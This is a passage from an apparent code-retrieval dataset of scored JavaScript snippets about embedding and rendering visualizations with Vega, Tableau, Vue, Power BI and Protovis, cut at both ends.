embed_viewSource(json_stringify_pretty_compact_default()(vgSpec), opt.sourceHeader || '', opt.sourceFooter || '', 'vega');\n on_event.preventDefault();\n });\n }\n // add 'Open in Vega Editor' action\n if (actions === true || actions.editor !== false) {\n const editorUrl = opt.editorUrl || 'https://vega.github.io/editor/';\n ctrl\n .append('a')\n .text(i18n.EDITOR_ACTION)\n .attr('href', '#')\n .on('mousedown', () => {\n src_post(window, editorUrl, {\n config: config,\n mode,\n renderer,\n spec: json_stringify_pretty_compact_default()(spec)\n });\n on_event.preventDefault();\n });\n }\n }\n return { view, spec, vgSpec };\n });\n}", "title": "" }, { "docid": "81f519f8a283b7bfdab4e2164a167e2b", "score": "0.5837947", "text": "componentDidUpdate() {\n try {\n const view = vegaEmbed(this.divTarget, this.state.spec)\n .catch(error => console.log(error))\n .then((res) => res.view.insert('myData', this.state.myData).run());\n } catch (e) {\n alert('Hubo un problema renderizando de nuevo la visualizacion');\n }\n }", "title": "" }, { "docid": "f1e8083bed0e9f4aee6472f87696791c", "score": "0.5791017", "text": "function renderViz() {\n\n // Define variables for viz\n var mainVizDiv = $(\"#tableauViz\");\n // var mainWorkbookUrl = \"https://\" + serverName + \"/t/SkunkWorks/views/JavaScriptTarget/Dashboard\";\n var mainVizOptions = {\n hideTabs: false,\n hideToolbar: false,\n //toolbarPositon: top (or \"bottom\")\n width: mainVizDiv.parent().innerWidth() + \"px\",\n height: mainVizDiv.parent().innerHeight() + \"px\",\n onFirstInteractive: function () {\n mainWorkbook = mainViz.getWorkbook();\n }\n };\n // Create viz\n mainViz = new tableauSoftware.Viz(mainVizDiv[0], url, mainVizOptions);\n}", "title": "" }, { "docid": "118bdc376c7a2d0c0732801ace72d84a", "score": "0.5649808", "text": "function RenderedVega(options) {\n var _this = _super.call(this) || this;\n _this.addClass(VEGA_COMMON_CLASS);\n // Handle things related to the MIME type.\n var mimeType = _this._mimeType = options.mimeType;\n if (mimeType === exports.VEGA_MIME_TYPE) {\n _this.addClass(VEGA_CLASS);\n _this._mode = 'vega';\n }\n else {\n _this.addClass(VEGALITE_CLASS);\n _this._mode = 'vega-lite';\n }\n return _this;\n }", "title": "" }, { "docid": "ab9e205f8bf72248368d54505953b516", "score": "0.55233645", "text": "function Ad(t,e,n,r,i,o,a,s){var u=(\"function\"===typeof n?n.options:n)||{};return u.__file=\"geom.vue\",u.render||(u.render=t.render,u.staticRenderFns=t.staticRenderFns,u._compiled=!0,i&&(u.functional=!0)),u._scopeId=r,u}", "title": "" }, { "docid": "382430f6b2123076d21c44b93ae0232a", "score": "0.5406615", "text": "renderTableau(view,origin) {\n\n\t\t//\tSave a reference to this component\n\t\tvar thisComponent = this;\n\n\t\t//\tFunction to create and return a viz object\n\t\tfunction createViz(containerId, url, options) {\n\n\t\t\t// Create a viz object and embed it in the container div.\n\t\t\tlet viz = new TableauViz();\n\n\t\t\t//\tDefine the viz url\n\t\t\tviz.src = url;\n\n\t\t\t//\tDefine the viz embed options\n\t\t\tviz.toolbar = options.toolbar;\n\t\t\tviz.hideTabs = options.hideTabs;\n\t\t\tviz.width = options.width;\n\t\t\tviz.height = options.height;\n\n\t\t\t//\tUse Connected App token?\n\t\t\tif (thisComponent.state.authToken) {\n\t\t\t\tviz.token = thisComponent.state.authToken\n\t\t\t}\n\n\t\t\t//\tAdd event handlers to viz\n\t\t\tviz.addEventListener('onFirstInteraction', options.onFirstInteractive)\n\t\t\tviz.addEventListener('onFirstVizSizeKnown', options.onFirstVizSizeKnown)\n\n\t\t\t//\tReturn the viz object\n\t\t\treturn viz;\n\t\t}\n\n\t\t//\tMake sure there's a view passed to this component\n\t\tif (view && !view.error) {\n\n\t\t\t//\tFind the container to render into\n\t\t\tvar containerDiv = document.getElementById(containerId),\n\t\t\t\theaderElement = document.getElementById(headerId);\n\n\t\t\t//\tCalculate the height to take up as much space as possible (based on user's browser)\n\t\t\tvar newHeight = this.state.windowHeight - (headerElement.offsetHeight + 56 + (2*headerMargin));\n\n\t\t\t//\tGet details for the view to display\n\t\t\tvar url = this.props.view ? this.getViewFullUrl(this.props.view) : null,\n\t options = {\n\t hideTabs: true,\n\t toolbar: 'hidden',\n\t height: newHeight + 'px',\n\t width: '100%',\n\t onFirstInteractive: function (event) {\n\t //\tUpdate the state of this component, to reflect that the viz is ready to communicate\n\t thisComponent.setState({'vizLoaded':true})\n\t },\n\t onFirstVizSizeKnown: function (event) {\n\n\t \t//\tSafely get the new height to use\n\t \ttry {\n\t\t \t//\tGet the height of the rendered viz\n\t\t \tconst newHeight = event.$2.sheetSize.maxSize.height;\n\n\t\t \t//\tUpdate the iframe to match the viz height (stick w/ 100% width)\n\t\t \tthisComponent.state.viz.setFrameSize(\"100%\",newHeight);\n\n\t \t} catch {\n\t \t\tconsole.log('Error getting the height of the viz')\n\t \t}\n\t }\n\t };\n\n\t //\tCheck to make sure we've got a valid url for the view\n\t if (url) {\n\n\t \t//\tURL is good, has a view already been loaded into this container?\n\t\t if (this.state.viz){\n\n\t\t \t//\tYes, there is already a viz loaded. Are they the same viz?\n\t\t \tif (this.state.view.id === view.id) {\n\n\t\t \t\t//\tYes it's the same viz, no need to reload it so do nothing\n\n\t\t \t} else {\n\n\t\t \t\t// Create a viz object and embed it in the container div.\n\t\t \t\tvar viz = createViz(containerId, url, options); \n\t\t\t\t this.setState({\n\t\t\t\t \t'viz': viz,\n\t\t\t\t \t'view': view\n\t\t\t \t})\n\t\t \t}\n\t\t } else {\n\n\t\t \t//\tNo, this is a brand new viz\n\t\t var viz = createViz(containerId, url, options); \n\t\t\t\t\tdocument.getElementById(containerId).appendChild(viz); \n\t\t\t this.setState({\n\t\t\t \t'viz': viz,\n\t\t\t \t'view': view\n\t\t \t})\n\t\t\t }\n\t } \n \t}\n\t}", "title": "" }, { "docid": "0f6bb2b9abeb265a511b11b68f1b89db", "score": "0.5313811", "text": "componentDidUpdate(prevProps) {\n\t this.spec = this._spec();\n\t console.log(this.spec);\n\t vegaEmbed(this.refs.ScatterPlotContainer, this.spec);\n\t}", "title": "" }, { "docid": "d8c749748c844c982f6850d5384a90b1", "score": "0.526895", "text": "function createViz(containerId, url, options) {\n\n\t\t\t// Create a viz object and embed it in the container div.\n\t\t\tlet viz = new TableauViz();\n\n\t\t\t//\tDefine the viz url\n\t\t\tviz.src = url;\n\n\t\t\t//\tDefine the viz embed options\n\t\t\tviz.toolbar = options.toolbar;\n\t\t\tviz.hideTabs = options.hideTabs;\n\t\t\tviz.width = options.width;\n\t\t\tviz.height = options.height;\n\n\t\t\t//\tUse Connected App token?\n\t\t\tif (thisComponent.state.authToken) {\n\t\t\t\tviz.token = thisComponent.state.authToken\n\t\t\t}\n\n\t\t\t//\tAdd event handlers to viz\n\t\t\tviz.addEventListener('onFirstInteraction', options.onFirstInteractive)\n\t\t\tviz.addEventListener('onFirstVizSizeKnown', options.onFirstVizSizeKnown)\n\n\t\t\t//\tReturn the viz object\n\t\t\treturn viz;\n\t\t}", "title": "" }, { "docid": "1f3bd1811a2bf86b2d5adcc4081b7298", "score": "0.5228879", "text": "function createViz() {\n var container = document.getElementById(\"fchart\");\n var chart;\n if (usingChartJS) {\n container.innerHTML = \"<canvas id='chartContainer' style='background-color: white; width:100%;height:100%'></canvas>\";\n chart = createVizChartJS();\n container.ondblclk = function () {\n chart.resetZoom();\n };\n } else {\n container.innerHTML = \"<div id='chartContainer'></div>\";\n chart = createVizCanvasJS();\n }\n}", "title": "" }, { "docid": "c9bb59b185859da9934a0a6523f7b362", "score": "0.5198259", "text": "setElement(el) {\n this.el = el;\n\n this.initRenderer();\n }", "title": "" }, { "docid": "fa56a91ab1292c7b753a923bb3c38803", "score": "0.5168281", "text": "function Vj(t,e,i,n,r,o,s,a){var c=(\"function\"===typeof i?i.options:i)||{};return c.__file=\"geom.vue\",c.render||(c.render=t.render,c.staticRenderFns=t.staticRenderFns,c._compiled=!0,r&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "d8c0bcff6690892a2a788962a1a7e2cd", "score": "0.51434326", "text": "function aL(t,e,i,n,r,o,s,a){var c=(\"function\"===typeof i?i.options:i)||{};return c.__file=\"geom.vue\",c.render||(c.render=t.render,c.staticRenderFns=t.staticRenderFns,c._compiled=!0,r&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "2548974d9d175155862284d58bd4d805", "score": "0.5123861", "text": "function Hd(t,e,n,i,r,o,a,s){var u=(\"function\"===typeof n?n.options:n)||{};return u.__file=\"layer.vue\",u.render||(u.render=t.render,u.staticRenderFns=t.staticRenderFns,u._compiled=!0,r&&(u.functional=!0)),u._scopeId=i,u}", "title": "" }, { "docid": "8b91cfd31b114aec1bf9f663cf7add6f", "score": "0.51237035", "text": "function Plot({roots}) {\n const container = React.useRef(null);\n\n function didUpdate() {\n if (container.current === null) {\n return;\n }\n // this JavaScript snippet is later referred to as <<vega-lite-spec>>\n const spec = {\n \"$schema\": \"https://vega.github.io/schema/vega-lite/v4.json\",\n \"data\": { \"values\": roots },\n \"mark\": \"point\",\n \"encoding\": {\n \"x\": { \"field\": \"epsilon\", \"type\": \"quantitative\" },\n \"y\": { \"field\": \"duration\", \"type\": \"quantitative\", \"title\": \"Duration (ms)\" }\n },\n \"width\": 800,\n \"height\": 600\n };\n vegaEmbed(container.current, spec);\n }\n const dependencies = [container, roots];\n React.useEffect(didUpdate, dependencies);\n\n return <div ref={container}/>;\n}", "title": "" }, { "docid": "2cb8f702caa6aed622f6605ad6582d5e", "score": "0.5109062", "text": "function wD(e,t,r,n,s,o,i,a){var c=(\"function\"===typeof r?r.options:r)||{};return c.__file=\"geom.vue\",c.render||(c.render=e.render,c.staticRenderFns=e.staticRenderFns,c._compiled=!0,s&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "2de1825632534c8b3b5548f1d95cffd9", "score": "0.5096675", "text": "function ew(t,e,i,n,r,o,s,a){var c=(\"function\"===typeof i?i.options:i)||{};return c.__file=\"layer.vue\",c.render||(c.render=t.render,c.staticRenderFns=t.staticRenderFns,c._compiled=!0,r&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "2fa61a9e3f6c230e222e15a92e3d2cab", "score": "0.50790507", "text": "function Wf(e,t,r,n,s,o,i,a){var c=(\"function\"===typeof r?r.options:r)||{};return c.__file=\"geom.vue\",c.render||(c.render=e.render,c.staticRenderFns=e.staticRenderFns,c._compiled=!0,s&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "d4f7898d793fa26f39b029872f4a7e91", "score": "0.5067655", "text": "async dataviewInline(el, component, sourcePath) {\r\n if (isDataviewDisabled(sourcePath))\r\n return;\r\n // Search for <code> blocks inside this element; for each one, look for things of the form `= ...`.\r\n let codeblocks = el.querySelectorAll(\"code\");\r\n for (let index = 0; index < codeblocks.length; index++) {\r\n let codeblock = codeblocks.item(index);\r\n // Skip code inside of pre elements if not explicitly enabled.\r\n if (codeblock.parentElement &&\r\n codeblock.parentElement.nodeName.toLowerCase() == \"pre\" &&\r\n !this.settings.inlineQueriesInCodeblocks)\r\n continue;\r\n let text = codeblock.innerText.trim();\r\n if (this.settings.inlineJsQueryPrefix.length > 0 && text.startsWith(this.settings.inlineJsQueryPrefix)) {\r\n let code = text.substring(this.settings.inlineJsQueryPrefix.length).trim();\r\n if (code.length == 0)\r\n continue;\r\n component.addChild(new DataviewInlineJSRenderer(this.api, code, el, codeblock, sourcePath));\r\n }\r\n else if (this.settings.inlineQueryPrefix.length > 0 && text.startsWith(this.settings.inlineQueryPrefix)) {\r\n let potentialField = text.substring(this.settings.inlineQueryPrefix.length).trim();\r\n if (potentialField.length == 0)\r\n continue;\r\n let field = tryOrPropogate(() => parseField(potentialField));\r\n if (!field.successful) {\r\n let errorBlock = el.createEl(\"div\");\r\n renderErrorPre(errorBlock, `Dataview (inline field '${potentialField}'): ${field.error}`);\r\n }\r\n else {\r\n let fieldValue = field.value;\r\n component.addChild(new DataviewInlineRenderer(fieldValue, text, el, codeblock, this.index, sourcePath, this.settings, this.app));\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "165290f9f962f8ff4fc6d50e65273e5c", "score": "0.5065812", "text": "function vizShow() {\n console.log(\"viz showing\");\n viz.show();\n}", "title": "" }, { "docid": "51348559839bd019b3022d347f5c5c79", "score": "0.50439227", "text": "function Render(params) {\n _vegaDataflow.Transform.call(this, null, params);\n}", "title": "" }, { "docid": "178183c5b8747bd3cd59472e83b538d2", "score": "0.5041103", "text": "function renderNewTablix(element, options) {\n var viewport = options.viewport ? options.viewport : { height: element.height() + 200, width: element.width() + 200 };\n var data = options.data;\n var redraw = options.redraw ? options.redraw : false;\n var style = powerbi.visuals.visualStyles.create();\n element.width(viewport.width);\n element.css(CssConstants.minWidthProperty, viewport.width);\n element.css(CssConstants.maxWidthProperty, viewport.width);\n element.css(CssConstants.positionProperty, CssConstants.absoluteValue);\n var featureSwitches = {\n heatMap: true,\n scrollableVisuals: true,\n };\n var visualPluginService = powerbi.visuals.visualPluginFactory.createMinerva(featureSwitches);\n var sortCallback = options.onCustomSortCallback ? options.onCustomSortCallback : function (args) {\n };\n var hostService = {\n getLocalizedString: function (stringId) { return stringId; },\n onCustomSort: sortCallback,\n loadMoreData: function () {\n },\n getViewMode: function () { return 0 /* View */; }\n };\n if (options.formatCallback)\n spyOn(powerbi.visuals.valueFormatter, 'formatRaw').and.callFake(options.formatCallback);\n var v = visualPluginService.getPlugin(options.visualType).create();\n v.init({\n element: element,\n host: hostService,\n style: style,\n viewport: viewport,\n settings: options.settings,\n interactivity: {\n selection: true,\n overflow: options.isFixedSize ? 'hidden' : 'visible'\n }\n });\n v.onDataChanged({ dataViews: [data] });\n var promise = jsCommon.TimerPromiseFactory.instance.create(DefaultWaitForRender).then(function () {\n if (redraw)\n v.onResizing({ height: viewport.height, width: viewport.width }, 0);\n return v;\n });\n return promise;\n }", "title": "" }, { "docid": "519c392ec852c6c742c9bfe98b1b598a", "score": "0.50396425", "text": "function addElementToUI( el ) {\n\tif ( el.type == 'tex' ) {\n\t\t$('#textureSelect').append($('<option></option>').val(el.id).html(el.name));\n\t\t$('#textureSelect2').append($('<option></option>').val(el.id).html(el.name));\n\t}\n\telse if ( el.type != 'tex') {\n var $toggle = $('<a />');\n $toggle.append('<span/>');\n $toggle.append('<label>'+el.name+'</label>');\n $toggle.addClass('toggle');\n $toggle.addClass('disabled');\n $toggle.attr('href', '#toggle:' + el.id);\n $toggle.attr('id', 'toggle-' + el.id);\n $toggle.click(function(e) {\n e.preventDefault();\n scene.toggleElement(el.id, toggleCallback );\n return false;\n });\n \n \t$('#elements').append($toggle);\n \tif ( el.type === 'mesh' || el.type === 'fibre' ) {\n \t\t$('#elementSelect').append($('<option></option>').val(el.id).html(el.name));\n \t}\n\t}\n}", "title": "" }, { "docid": "ca61d38b575ddec2e266ab507d92c83f", "score": "0.50378305", "text": "function WA(t,e,i,n,r,o,s,a){var c=(\"function\"===typeof i?i.options:i)||{};return c.__file=\"layer.vue\",c.render||(c.render=t.render,c.staticRenderFns=t.staticRenderFns,c._compiled=!0,r&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "086a33df6524b71b6ade45f0da3fa553", "score": "0.50343364", "text": "componentDidMount() {\n\n //aqui se genera la grafica de los datos que se tienen\n try {\n const view = vegaEmbed(this.divTarget, this.state.spec)\n .catch(error => console.log(error))\n .then((res) => res.view.insert('myData', this.state.myData).run());\n } catch (e) {\n alert('Hubo un problema renderizando el archivo');\n\n }\n }", "title": "" }, { "docid": "333d65658b846f5b1bff7f1bae21c4ac", "score": "0.5028947", "text": "function embed(parent,svg,target){if(target){var fragment=document.createDocumentFragment(),viewBox=!svg.hasAttribute(\"viewBox\")&&target.getAttribute(\"viewBox\");viewBox&&svg.setAttribute(\"viewBox\",viewBox);for(var clone=target.cloneNode(!0);clone.childNodes.length;)fragment.appendChild(clone.firstChild);parent.appendChild(fragment)}}", "title": "" }, { "docid": "4c82f7451ea15f93a94423bd45f2ccfc", "score": "0.5018282", "text": "function UE(e,t,r,n,s,o,i,a){var c=(\"function\"===typeof r?r.options:r)||{};return c.__file=\"layer.vue\",c.render||(c.render=e.render,c.staticRenderFns=e.staticRenderFns,c._compiled=!0,s&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "8c779b0da2e2d74e3a151fe795b2d3d5", "score": "0.501291", "text": "function wE(e,t,r,n,s,o,i,a){var c=(\"function\"===typeof r?r.options:r)||{};return c.__file=\"layer.vue\",c.render||(c.render=e.render,c.staticRenderFns=e.staticRenderFns,c._compiled=!0,s&&(c.functional=!0)),c._scopeId=n,c}", "title": "" }, { "docid": "fa3f53bd5b0e63101b29ef847663f9e8", "score": "0.49895558", "text": "function constructVis(){\n\tjQuery('span').remove();\n\n\tvis = new pv.Panel()\n\t\t.width(function(){return graphCollection.w})\n\t\t.height(function(){return graphCollection.h})\n\t\t.bottom(function(){return graphCollection.padBot})\n\t\t.left(function(){return graphCollection.padLeft})\n\t\t.right(function(){return graphCollection.padRight})\n\t\t.top(function(){return graphCollection.padTop})\n\t\n\t/* Divider Between Graphs and Data Sets */\n\tvis.add(pv.Rule)\n\t\t.left(-35)\n\t\t.bottom(0)\n\t\t.top(graphCollection.padTop * -1)\n\t\t\n\t/*Divider Between Top Graph and Title*/\n\tvis.add(pv.Rule)\n\t\t.top(-1)\n\t\t.right(-25)\n\t\t.left(-35)\n\t\t.lineWidth(function(){\n\t\t\tif (graphCollection.editModeEnabled)\n\t\t\t\treturn 2;\n\t\t\telse\n\t\t\t\treturn 1;\n\t\t})\n\t\t.strokeStyle(function(){\n\t\t\tif (graphCollection.editModeEnabled)\n\t\t\t\treturn \"red\"\n\t\t\telse\n\t\t\t\treturn \"black\"\n\t\t})\n\t\n\t/*Graph Title*/\t\t \n\tvis.add(pv.Label)\n\t\t.left(function(){return graphCollection.w / 2})\n\t\t.top(-5)\n\t\t.textAlign(\"center\")\n\t\t.textAngle(0)\n\t\t.text(graphCollection.worksheet.title + \" by \" +graphCollection.worksheet.labelType)\n\t\t.font(\"bold 20px sans-serif\");\n\t\n\t/* Display Options Menu Button */\n\tvar dispOptPanel = vis.add(pv.Panel)\n\t\t.events(\"all\")\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Show display option menu\")\n\t\t.height(30)\n\t\t.width(function() {\n\t\t\tif (graphCollection.buttonIcon && graphCollection.buttonText){ \n\t\t\t\treturn 150;\n\t\t\t}else if (!graphCollection.buttonIcon){\n\t\t\t\treturn 120;\n\t\t\t}else if (!graphCollection.buttonText){\n\t\t\t\treturn 34;\n\t\t\t}\n\t\t})\n\t\t.left(-34)\n\t\t.top(-60)\n\t\t.lineWidth(1)\n\t\t.event(\"click\", function(){\n\t\t\thideMenus();\n\t\t\t$('#displayOptions').slideDown();\n\t\t})\n\t\t.event(\"mouseover\", function(d){\n\t\t\tthis.strokeStyle(\"black\");\n\t\t\tthis.render();\n\t\t})\n\t\t.event(\"mouseout\", function(d){ \n\t\t\tthis.strokeStyle(pv.rgb(0,0,0,0));\n\t\t\tthis.render();\n\t\t})\n\t\n\tdispOptPanel.add(pv.Image)\n\t\t.url(\"http://centerforbiophotonics.github.com/SeeIt3/img/eye.png\") //fix this\n\t\t.width(30)\n\t\t.height(30)\n\t\t.top(0)\n\t\t.left(2)\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Show display option menu\")\n\t\t.visible(function() {\n\t\t\tif (graphCollection.buttonIcon)\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t})\n\t\t.event(\"click\", function(){\n\t\t\thideMenus();\n\t\t\t$('#displayOptions').slideDown();\n\t\t})\n\t\t.anchor(\"left\").add(pv.Label)\n\t\t\t.left(function(){\n\t\t\t\tif (graphCollection.buttonText && !graphCollection.buttonIcon)\n\t\t\t\t\treturn 2;\n\t\t\t\telse\n\t\t\t\t return 32;\n\t\t\t})\n\t\t\t.text(\"Display Options\")\n\t\t\t.font(fontString)\n\t\t\t.visible(function() {\n\t\t\t\tif (graphCollection.buttonText)\n\t\t\t\t\treturn true;\n\t\t\t\telse\n\t\t\t\t\treturn false;\n\t\t\t})\n\t\t\n\t/* Add New Graph Button */\n\tvar newGrphPanel = vis.add(pv.Panel)\n\t\t.events(\"all\")\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Add a new empty graph\")\n\t\t.height(30)\n\t\t.width(function() {\n\t\t\tif (graphCollection.buttonIcon && graphCollection.buttonText){ \n\t\t\t\treturn 115;\n\t\t\t}else if (!graphCollection.buttonIcon){\n\t\t\t\treturn 85;\n\t\t\t}else if (!graphCollection.buttonText){\n\t\t\t\treturn 34;\n\t\t\t}\n\t\t})\n\t\t.left(function() {\n\t\t\tif (graphCollection.buttonIcon && graphCollection.buttonText){ \n\t\t\t\treturn 120;\n\t\t\t}else if (!graphCollection.buttonIcon){\n\t\t\t\treturn 90;\n\t\t\t}else if (!graphCollection.buttonText){\n\t\t\t\treturn 4;\n\t\t\t}\n\t\t})\n\t\t.top(-60)\n\t\t.lineWidth(1)\n\t\t.event(\"click\", function(){\n\t\t\tgraphCollection.addGraph();\n\t\t\t//vis.render();\n\t\t\tconstructVis();\n\t\t})\n\t\t.event(\"mouseover\", function(d){\n\t\t\tthis.strokeStyle(\"black\");\n\t\t\tthis.render();\n\t\t})\n\t\t.event(\"mouseout\", function(d){ \n\t\t\tthis.strokeStyle(pv.rgb(0,0,0,0));\n\t\t\tthis.render();\n\t\t})\n\t\t\n\tnewGrphPanel.add(pv.Image)\n\t\t.url(\"http://centerforbiophotonics.github.com/SeeIt3/img/newGraph.png\") //fix this\n\t\t.width(30)\n\t\t.height(30)\n\t\t.top(0)\n\t\t.left(2)\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Add a new empty graph\")\n\t\t.event(\"click\", function(){\n\t\t\tgraphCollection.addGraph();\n\t\t\tconstructVis();\n\t\t})\n\t\t.visible(function() {\n\t\t\tif (graphCollection.buttonIcon)\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t})\n\t\t.anchor(\"left\").add(pv.Label)\n\t\t\t.left(function(){\n\t\t\t\tif (graphCollection.buttonText && !graphCollection.buttonIcon)\n\t\t\t\t\treturn 2;\n\t\t\t\telse\n\t\t\t\t return 32;\n\t\t\t})\n\t\t\t.text(\"New Graph\")\n\t\t\t.font(fontString)\n\t\t\t.visible(function() {\n\t\t\t\tif (graphCollection.buttonText)\n\t\t\t\t\treturn true;\n\t\t\t\telse\n\t\t\t\t\treturn false;\n\t\t\t})\n\t\n\t/*Toggle Basic/Advanced User Mode*/\n\tvar togUserModePanel = vis.add(pv.Panel)\n\t\t.events(\"all\")\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Toggle advanced mode\")\n\t\t.height(30)\n\t\t.width(function() {\n\t\t\tif (graphCollection.buttonIcon && graphCollection.buttonText){ \n\t\t\t\treturn 150;\n\t\t\t}else if (!graphCollection.buttonIcon){\n\t\t\t\treturn 122;\n\t\t\t}else if (!graphCollection.buttonText){\n\t\t\t\treturn 34;\n\t\t\t}\n\t\t})\n\t\t.left(function() {\n\t\t\tif (graphCollection.buttonIcon && graphCollection.buttonText){ \n\t\t\t\treturn 240;\n\t\t\t}else if (!graphCollection.buttonIcon){\n\t\t\t\treturn 180;\n\t\t\t}else if (!graphCollection.buttonText){\n\t\t\t\treturn 40;\n\t\t\t}\n\t\t})\n\t\t.top(-60)\n\t\t.lineWidth(1)\n\t\t.event(\"click\", function(){\n\t\t\tgraphCollection.advancedUser = !(graphCollection.advancedUser);\n\t\t\tshowHideAdvancedOptions();\n\t\t})\n\t\t.event(\"mouseover\", function(d){\n\t\t\tthis.strokeStyle(\"black\");\n\t\t\tthis.render();\n\t\t})\n\t\t.event(\"mouseout\", function(d){ \n\t\t\tthis.strokeStyle(pv.rgb(0,0,0,0));\n\t\t\tthis.render();\n\t\t})\n\t\t\n\ttogUserModePanel.add(pv.Image)\n\t\t.url(function(){\n\t\t\tif (graphCollection.advancedUser)\n\t\t\t\treturn \"http://centerforbiophotonics.github.com/SeeIt3/img/advModeON.png\"\n\t\t\telse\n\t\t\t\treturn \"http://centerforbiophotonics.github.com/SeeIt3/img/advModeOFF.png\"\n\t\t})\n\t\t.width(30)\n\t\t.height(26)\n\t\t.top(2)\n\t\t.left(0)\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Toggle basic/advanced mode\")\n\t\t.event(\"click\", function(){\n\t\t\tgraphCollection.advancedUser = !(graphCollection.advancedUser);\n\t\t\tshowHideAdvancedOptions();\n\t\t})\n\t\t.visible(function() {\n\t\t\tif (graphCollection.buttonIcon)\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t})\n\t\t.anchor(\"left\").add(pv.Label)\n\t\t\t.left(function(){\n\t\t\t\tif (graphCollection.buttonText && !graphCollection.buttonIcon)\n\t\t\t\t\treturn 2;\n\t\t\t\telse\n\t\t\t\t return 32;\n\t\t\t})\n\t\t\t.text(function(){return \"Advanced Mode\"})\n\t\t\t.textStyle(function(){\n\t\t\t\tif (graphCollection.advancedUser)\n\t\t\t\t\treturn \"red\"\n\t\t\t\telse\n\t\t\t\t\treturn \"grey\"\n\t\t\t})\n\t\t\t.font(fontString)\n\t\t\t.visible(function() {\n\t\t\t\tif (graphCollection.buttonText)\n\t\t\t\t\treturn true;\n\t\t\t\telse\n\t\t\t\t\treturn false;\n\t\t\t})\n\t\t\n\t/* Toggle Edit Mode Button */\n\tvar togEditPanel = vis.add(pv.Panel)\n\t\t.events(\"all\")\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Toggle edit mode\")\n\t\t.height(30)\n\t\t.width(function() {\n\t\t\tif (graphCollection.buttonIcon && graphCollection.buttonText){ \n\t\t\t\treturn 110;\n\t\t\t}else if (!graphCollection.buttonIcon){\n\t\t\t\treturn 80;\n\t\t\t}else if (!graphCollection.buttonText){\n\t\t\t\treturn 34;\n\t\t\t}\n\t\t})\n\t\t.left(function() {\n\t\t\tif (graphCollection.buttonIcon && graphCollection.buttonText){ \n\t\t\t\treturn 390;\n\t\t\t}else if (!graphCollection.buttonIcon){\n\t\t\t\treturn 302;\n\t\t\t}else if (!graphCollection.buttonText){\n\t\t\t\treturn 74;\n\t\t\t}\n\t\t})\n\t\t.top(-60)\n\t\t.lineWidth(1)\n\t\t.visible(function() {\n\t\t\tif (graphCollection.advancedUser)\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t})\n\t\t.event(\"click\", function(){\n\t\t\tgraphCollection.editModeEnabled = !(graphCollection.editModeEnabled);\n\t\t\tvis.render();\n\t\t})\n\t\t.event(\"mouseover\", function(d){\n\t\t\tthis.strokeStyle(\"black\");\n\t\t\tthis.render();\n\t\t})\n\t\t.event(\"mouseout\", function(d){ \n\t\t\tthis.strokeStyle(pv.rgb(0,0,0,0));\n\t\t\tthis.render();\n\t\t})\n\t\t\n\ttogEditPanel.add(pv.Image)\n\t\t.url(function(){\n\t\t\tif (graphCollection.editModeEnabled)\n\t\t\t\treturn \"http://centerforbiophotonics.github.com/SeeIt3/img/handON.png\"\n\t\t\telse\n\t\t\t\treturn \"http://centerforbiophotonics.github.com/SeeIt3/img/hand.png\"\n\t\t})\n\t\t.width(30)\n\t\t.height(26)\n\t\t.top(2)\n\t\t.left(0)\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Toggle edit mode\")\n\t\t.event(\"click\", function(){\n\t\t\tgraphCollection.editModeEnabled = !(graphCollection.editModeEnabled);\n\t\t\tvis.render();\n\t\t})\n\t\t.visible(function() {\n\t\t\tif (graphCollection.buttonIcon)\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t})\n\t\t.anchor(\"left\").add(pv.Label)\n\t\t\t.left(function(){\n\t\t\t\tif (graphCollection.buttonText && !graphCollection.buttonIcon)\n\t\t\t\t\treturn 2;\n\t\t\t\telse\n\t\t\t\t return 32;\n\t\t\t})\n\t\t\t.text(\"Edit Mode\")\n\t\t\t.font(fontString)\n\t\t\t.textStyle(function(){\n\t\t\t\tif (graphCollection.editModeEnabled)\n\t\t\t\t\treturn \"red\"\n\t\t\t\telse\n\t\t\t\t\treturn \"black\"\n\t\t\t})\n\t\t\t.visible(function() {\n\t\t\t\tif (graphCollection.buttonText)\n\t\t\t\t\treturn true;\n\t\t\t\telse\n\t\t\t\t\treturn false;\n\t\t\t})\n\t\n\t//Fit all graphs to scale button\n\tvar fitScalePanel = vis.add(pv.Panel)\n\t\t.events(\"all\")\n\t\t.cursor(\"pointer\")\n\t\t.title(\"Scale all graphs identically\")\n\t\t.height(30)\n\t\t.width(function() {\n\t\t\tif (graphCollection.buttonIcon && graphCollection.buttonText){ \n\t\t\t\treturn 105;\n\t\t\t}else if (!graphCollection.buttonIcon){\n\t\t\t\treturn 75;\n\t\t\t}else if (!graphCollection.buttonText){\n\t\t\t\treturn 32;\n\t\t\t}\n\t\t})\n\t\t.left(function() {\n\t\t\tif (graphCollection.buttonIcon && graphCollection.buttonText){ \n\t\t\t\treturn 505;\n\t\t\t}else if (!graphCollection.buttonIcon){\n\t\t\t\treturn 387;\n\t\t\t}else if (!graphCollection.buttonText){\n\t\t\t\treturn 111;\n\t\t\t}\n\t\t})\n\t\t.top(-60)\n\t\t.lineWidth(1)\n\t\t.visible(function() {\n\t\t\tif (graphCollection.advancedUser)\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t})\n\t\t.event(\"click\", function(){\n\t\t\tgraphCollection.graphs.forEach(function(graph){\n\t\t\t\tgraph.customScale = false;\n\t\t\t\tgraph.fitScaleToData = 